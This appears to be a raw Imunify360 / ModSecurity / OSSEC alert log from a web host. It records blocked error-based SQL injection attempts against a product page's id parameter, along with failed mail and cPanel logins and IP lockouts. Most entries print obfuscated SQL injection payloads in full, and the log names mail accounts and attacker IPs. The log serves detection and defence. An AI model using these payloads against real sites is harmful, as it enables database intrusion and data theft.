IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))AND/**/(SELECT/**/1481/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1481=1481,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND (('fOlkRapV'='fOlkRapV||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:35:35 dovecot_login authenticator failed for H=(k7ryYISt) [165.154.217.204]:61306: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\")/*!50000AND*/(/*!50000SELECT*/6641/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6641=6641,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (\"StwlerTF\" LIKE \"StwlerTF\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\"/*!50000AND*/(/*!50000SELECT*/3167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3167=3167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND \"h2GgzUvT\"=\"h2GgzUvT\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/5819/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5819=5819,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND 'Sc88Dr97' LIKE 'Sc88Dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1)))/*!50000AND*/(/*!50000SELECT*/8024/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8024=8024,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((1070=1070||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/(/*!50000SELECT*/7573/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7573=7573,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:35:13 dovecot_login authenticator failed for H=(8q4bSM4hhr) [165.154.217.204]:57675: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/(select/**/1426/**/from(select/**/count(*),concat('~',(select/**/(elt(1426=1426,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'AND/**/(SELECT/**/5819/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5819=5819,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND 'Sc88Dr97' LIKE 'Sc88Dr97||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1') AND /*!50000AND*/(/*!50000SELECT*/1131/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(1131=1131,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))AND/**/(SELECT/**/1481/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1481=1481,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND (('fOlkRapV'='fOlkRapV||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/(select/**/5819/**/from(select/**/count(*),concat('~',(select/**/(elt(5819=5819,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'sc88dr97' like 'sc88dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/(SELECT/**/1426/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1426=1426,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'))AND/**/(SELECT/**/1481/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1481=1481,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND (('fOlkRapV'='fOlkRapV||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1')AND/**/(SELECT/**/5763/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5763=5763,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ('gFpDTT4F' LIKE 'gFpDTT4F||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/(select/**/4466/**/from(select/**/count(*),concat('~',(select/**/(elt(4466=4466,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/(SELECT/**/1426/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1426=1426,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"/*!50000AND*/(/*!50000SELECT*/3167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(3167=3167,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND \"h2GgzUvT\"=\"h2GgzUvT\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/(select/**/5763/**/from(select/**/count(*),concat('~',(select/**/(elt(5763=5763,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ('gfpdtt4f' like 'gfpdtt4f||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/(select/**/1527/**/from(select/**/count(*),concat('~',(select/**/(elt(1527=1527,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"aejpuicz\"=\"aejpuicz\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/(select/**/5819/**/from(select/**/count(*),concat('~',(select/**/(elt(5819=5819,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'sc88dr97' like 'sc88dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1)))/*!50000AND*/(/*!50000SELECT*/8024/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8024=8024,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((1070=1070||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/(SELECT/**/5880/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5880=5880,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:35:10 dovecot_login authenticator failed for H=(pYvFkM) [178.16.52.139]:49650: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:35:33 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/(select/**/5286/**/from(select/**/count(*),concat('~',(select/**/(elt(5286=5286,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:35:13 dovecot_login authenticator failed for H=(7BB1Hxz) [158.94.208.175]:61312: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1')and/**/(select/**/5763/**/from(select/**/count(*),concat('~',(select/**/(elt(5763=5763,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ('gfpdtt4f' like 'gfpdtt4f||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1') AND /*!50000AND*/(/*!50000SELECT*/1131/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1131=1131,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')AND/**/(SELECT/**/5763/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5763=5763,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ('gFpDTT4F' LIKE 'gFpDTT4F||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\")/*!50000AND*/(/*!50000SELECT*/6641/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6641=6641,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (\"StwlerTF\" LIKE \"StwlerTF\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/(select/**/4466/**/from(select/**/count(*),concat('~',(select/**/(elt(4466=4466,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:35:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59306: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 05:35:06 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:60594: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/5286/**/from(select/**/count(*),concat('~',(select/**/(elt(5286=5286,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/(select/**/1426/**/from(select/**/count(*),concat('~',(select/**/(elt(1426=1426,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/(SELECT/**/5763/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5763=5763,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ('gFpDTT4F' LIKE 'gFpDTT4F||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1' AND AND/**/(SELECT/**/5880/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5880=5880,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:35:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\" AND AND/**/(SELECT/**/1426/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1426=1426,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"/*!50000AND*/(/*!50000SELECT*/3167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3167=3167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND \"h2GgzUvT\"=\"h2GgzUvT\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/5819/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5819=5819,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND 'Sc88Dr97' LIKE 'Sc88Dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))/*!50000AND*/(/*!50000SELECT*/8024/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(8024=8024,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((1070=1070||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 05:36:16 +0800] info [cpaneld] 185.204.54.153 - kednek "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kednek (has_cpuser_file failed)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/(select/**/3935/**/from(select/**/count(*),concat('~',(select/**/(elt(3935=3935,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/(SELECT/**/6250/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6250=6250,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 8n0OZrmd HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\")))/*!50000AND*/(/*!50000SELECT*/4675/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4675=4675,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((\"sxZgABVn\"=\"sxZgABVn\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/(select/**/7781/**/from(select/**/count(*),concat('~',(select/**/(elt(7781=7781,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) or '2j9ninfb'='3mgs4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:36:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\")and/**/(select/**/1348/**/from(select/**/count(*),concat('~',(select/**/(elt(1348=1348,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"gv8xmg7s\" like \"gv8xmg7s||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:36:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46694: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/(/*!50000SELECT*/5167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5167=5167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/(select/**/6947/**/from(select/**/count(*),concat('~',(select/**/(elt(6947=6947,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 5pfrevok||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1')/*!50000AND*/(/*!50000SELECT*/7527/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7527=7527,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\"and/**/(select/**/9387/**/from(select/**/count(*),concat('~',(select/**/(elt(9387=9387,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and \"mitylttq\" like \"mitylttq\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\"AND/**/(SELECT/**/9387/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9387=9387,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"mityLttQ\" LIKE \"mityLttQ\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')/*!50000AND*/(/*!50000SELECT*/7527/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7527=7527,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


